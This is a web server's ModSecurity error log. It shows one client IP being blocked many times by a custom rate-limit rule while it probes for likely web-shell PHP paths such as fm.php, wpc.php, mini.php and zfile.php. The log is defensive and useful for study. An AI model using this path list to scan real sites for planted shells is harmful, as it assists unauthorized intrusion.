[Mon Jan 05 18:51:21.454168 2026] [:error] [pid 5536:tid 5606] [client 4.197.220.165:10881] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVuXqQRtMZNG6xI8yDzOqgAAAIk"]
[Mon Jan 05 18:51:21.553850 2026] [:error] [pid 5632:tid 5644] [client 4.197.220.165:10925] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVuXqYN3ZWvlOh-nbt-xLQAAAMA"]
[Mon Jan 05 18:51:21.593645 2026] [:error] [pid 6680:tid 6688] [client 4.197.220.165:10915] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVuXqaE58uNoazzTmx3ZUgAAAQY"]
[Mon Jan 05 18:51:21.641028 2026] [:error] [pid 5632:tid 5648] [client 4.197.220.165:10976] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVuXqYN3ZWvlOh-nbt-xLgAAAMQ"]
[Mon Jan 05 18:51:21.723224 2026] [:error] [pid 6680:tid 6695] [client 4.197.220.165:10910] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVuXqaE58uNoazzTmx3ZUwAAAQ0"]
[Mon Jan 05 18:51:21.767333 2026] [:error] [pid 5632:tid 5661] [client 4.197.220.165:11197] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVuXqYN3ZWvlOh-nbt-xLwAAANE"]
[Mon Jan 05 18:51:21.843727 2026] [:error] [pid 6680:tid 6699] [client 4.197.220.165:10991] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXqaE58uNoazzTmx3ZVAAAARE"]
[Mon Jan 05 18:51:21.895808 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:11006] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXqaE58uNoazzTmx3ZVQAAAQA"]
[Mon Jan 05 18:51:22.269429 2026] [:error] [pid 5536:tid 5618] [client 4.197.220.165:11003] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXqgRtMZNG6xI8yDzOqwAAAJU"]
[Mon Jan 05 18:51:22.406494 2026] [:error] [pid 5536:tid 5621] [client 4.197.220.165:11241] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVuXqgRtMZNG6xI8yDzOrAAAAJg"]
[Mon Jan 05 18:51:22.456032 2026] [:error] [pid 5536:tid 5614] [client 4.197.220.165:10853] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVuXqgRtMZNG6xI8yDzOrQAAAJE"]
[Mon Jan 05 18:51:22.585519 2026] [:error] [pid 5536:tid 5619] [client 4.197.220.165:10934] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVuXqgRtMZNG6xI8yDzOrgAAAJY"]
[Mon Jan 05 18:51:23.112912 2026] [:error] [pid 6680:tid 6706] [client 4.197.220.165:11005] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVuXq6E58uNoazzTmx3ZVwAAARg"]
[Mon Jan 05 18:51:23.437989 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:10845] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVuXq5Ns9XmbR6unB0ymHwAAABY"]
[Mon Jan 05 18:51:23.944042 2026] [:error] [pid 5534:tid 5548] [client 4.197.220.165:10829] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVuXq5Ns9XmbR6unB0ymIAAAAAU"]
[Mon Jan 05 18:51:24.593653 2026] [:error] [pid 5535:tid 5589] [client 4.197.220.165:10914] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVuXrGnkedMjhVX0PTVdkQAAAFM"]
[Mon Jan 05 18:51:24.985661 2026] [:error] [pid 6680:tid 6692] [client 4.197.220.165:10923] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVuXrKE58uNoazzTmx3ZWAAAAQo"]
[Mon Jan 05 18:51:25.200439 2026] [:error] [pid 6680:tid 6701] [client 4.197.220.165:10909] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVuXraE58uNoazzTmx3ZWgAAARM"]
[Mon Jan 05 18:51:25.302055 2026] [:error] [pid 6680:tid 6696] [client 4.197.220.165:11038] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVuXraE58uNoazzTmx3ZWwAAAQ4"]
[Mon Jan 05 18:51:25.350496 2026] [:error] [pid 6680:tid 6686] [client 4.197.220.165:10982] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVuXraE58uNoazzTmx3ZXAAAAQQ"]
[Mon Jan 05 18:51:25.412331 2026] [:error] [pid 6680:tid 6690] [client 4.197.220.165:10767] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVuXraE58uNoazzTmx3ZXQAAAQg"]
[Mon Jan 05 18:51:25.449188 2026] [:error] [pid 6680:tid 6702] [client 4.197.220.165:10889] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVuXraE58uNoazzTmx3ZXgAAARQ"]
[Mon Jan 05 18:51:25.510576 2026] [:error] [pid 6680:tid 6700] [client 4.197.220.165:10926] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVuXraE58uNoazzTmx3ZXwAAARI"]
[Mon Jan 05 18:51:25.591490 2026] [:error] [pid 6680:tid 6683] [client 4.197.220.165:10826] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVuXraE58uNoazzTmx3ZYAAAAQE"]
[Mon Jan 05 18:51:25.650320 2026] [:error] [pid 6680:tid 6691] [client 4.197.220.165:10832] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVuXraE58uNoazzTmx3ZYQAAAQk"]
[Mon Jan 05 18:51:25.779218 2026] [:error] [pid 6680:tid 6705] [client 4.197.220.165:11170] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVuXraE58uNoazzTmx3ZYgAAARc"]
[Mon Jan 05 18:51:26.038693 2026] [:error] [pid 6680:tid 6687] [client 4.197.220.165:10907] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVuXrqE58uNoazzTmx3ZZAAAAQU"]
[Mon Jan 05 18:51:26.109638 2026] [:error] [pid 6680:tid 6685] [client 4.197.220.165:10850] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVuXrqE58uNoazzTmx3ZZQAAAQM"]
[Mon Jan 05 18:51:26.194242 2026] [:error] [pid 5536:tid 5609] [client 4.197.220.165:10822] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVuXrgRtMZNG6xI8yDzOswAAAIw"]
[Mon Jan 05 18:51:26.239657 2026] [:error] [pid 6680:tid 6684] [client 4.197.220.165:10880] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVuXrqE58uNoazzTmx3ZZwAAAQI"]
[Mon Jan 05 18:51:26.345409 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:10902] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVuXrpNs9XmbR6unB0ymJgAAAAM"]
[Mon Jan 05 18:51:26.457744 2026] [:error] [pid 5632:tid 5654] [client 4.197.220.165:10931] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVuXroN3ZWvlOh-nbt-xMQAAAMo"]
[Mon Jan 05 18:51:26.508981 2026] [:error] [pid 6680:tid 6695] [client 4.197.220.165:10883] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVuXrqE58uNoazzTmx3ZagAAAQ0"]
[Mon Jan 05 18:51:26.564491 2026] [:error] [pid 5534:tid 5564] [client 4.197.220.165:10867] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVuXrpNs9XmbR6unB0ymJwAAABU"]
[Mon Jan 05 18:51:26.658656 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:10818] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVuXrqE58uNoazzTmx3ZawAAAQA"]
[Mon Jan 05 18:51:26.725303 2026] [:error] [pid 6680:tid 6698] [client 4.197.220.165:10834] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVuXrqE58uNoazzTmx3ZbAAAARA"]
[Mon Jan 05 18:51:26.797069 2026] [:error] [pid 6680:tid 6688] [client 4.197.220.165:10949] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVuXrqE58uNoazzTmx3ZbQAAAQY"]
[Mon Jan 05 18:51:26.877177 2026] [:error] [pid 5536:tid 5604] [client 4.197.220.165:10912] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVuXrgRtMZNG6xI8yDzOtQAAAIc"]
[Mon Jan 05 18:51:27.159508 2026] [:error] [pid 5536:tid 5606] [client 4.197.220.165:10983] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVuXrwRtMZNG6xI8yDzOtwAAAIk"]
[Mon Jan 05 18:51:27.887532 2026] [:error] [pid 6680:tid 6700] [client 4.197.220.165:10942] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVuXr6E58uNoazzTmx3ZcQAAARI"]
[Mon Jan 05 18:51:28.522960 2026] [:error] [pid 6680:tid 6697] [client 4.197.220.165:10868] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVuXsKE58uNoazzTmx3ZdAAAAQ8"]
[Mon Jan 05 18:51:28.717717 2026] [:error] [pid 6680:tid 6684] [client 4.197.220.165:10816] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aVuXsKE58uNoazzTmx3ZdgAAAQI"]
[Mon Jan 05 18:51:28.857624 2026] [:error] [pid 5536:tid 5618] [client 4.197.220.165:10695] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVuXsARtMZNG6xI8yDzOuQAAAJU"]
[Mon Jan 05 18:51:29.074623 2026] [:error] [pid 6680:tid 6695] [client 4.197.220.165:10882] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVuXsaE58uNoazzTmx3ZeAAAAQ0"]
[Mon Jan 05 18:51:29.290851 2026] [:error] [pid 6680:tid 6699] [client 4.197.220.165:10990] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVuXsaE58uNoazzTmx3ZeQAAARE"]
[Mon Jan 05 18:51:29.511680 2026] [:error] [pid 6680:tid 6682] [client 4.197.220.165:10930] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aVuXsaE58uNoazzTmx3ZewAAAQA"]
[Mon Jan 05 18:51:29.631180 2026] [:error] [pid 6680:tid 6698] [client 4.197.220.165:10928] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVuXsaE58uNoazzTmx3ZfAAAARA"]
[Mon Jan 05 18:51:29.778814 2026] [:error] [pid 6680:tid 6688] [client 4.197.220.165:10821] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVuXsaE58uNoazzTmx3ZfQAAAQY"]
[Mon Jan 05 18:51:30.589914 2026] [:error] [pid 5534:tid 5565] [client 4.197.220.165:10871] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVuXspNs9XmbR6unB0ymKAAAABY"]
[Mon Jan 05 18:51:31.957934 2026] [:error] [pid 5534:tid 5566] [client 4.197.220.165:10841] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc.php"] [unique_id "aVuXs5Ns9XmbR6unB0ymKwAAABc"]
[Mon Jan 05 18:51:32.782605 2026] [:error] [pid 5534:tid 5561] [client 4.197.220.165:10984] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVuXtJNs9XmbR6unB0ymLgAAABI"]
[Mon Jan 05 18:51:33.158651 2026] [:error] [pid 5534:tid 5555] [client 4.197.220.165:10789] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVuXtZNs9XmbR6unB0ymMQAAAAw"]
[Mon Jan 05 18:51:33.346178 2026] [:error] [pid 5534:tid 5546] [client 4.197.220.165:11019] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVuXtZNs9XmbR6unB0ymMgAAAAM"]
[Mon Jan 05 18:51:33.656640 2026] [:error] [pid 54081:tid 54100] [client 4.197.220.165:10896] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lc.php"] [unique_id "aVuXtVL4jLgtF-b9w4dvxAAAAVA"]
[Mon Jan 05 18:51:34.139890 2026] [:error] [pid 5536:tid 5613] [client 4.197.220.165:10901] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVuXtgRtMZNG6xI8yDzOvAAAAJA"]
[Mon Jan 05 18:51:34.583257 2026] [:error] [pid 28407:tid 28412] [client 4.197.220.165:11001] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVuXttercd3ptydUzM0x1gAAAYI"]
[Mon Jan 05 18:51:34.803025 2026] [:error] [pid 6680:tid 6683] [client 4.197.220.165:10972] [client 4.197.220.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mlex.php"] [unique_id "aVuXtqE58uNoazzTmx3ZhQAAAQE"]
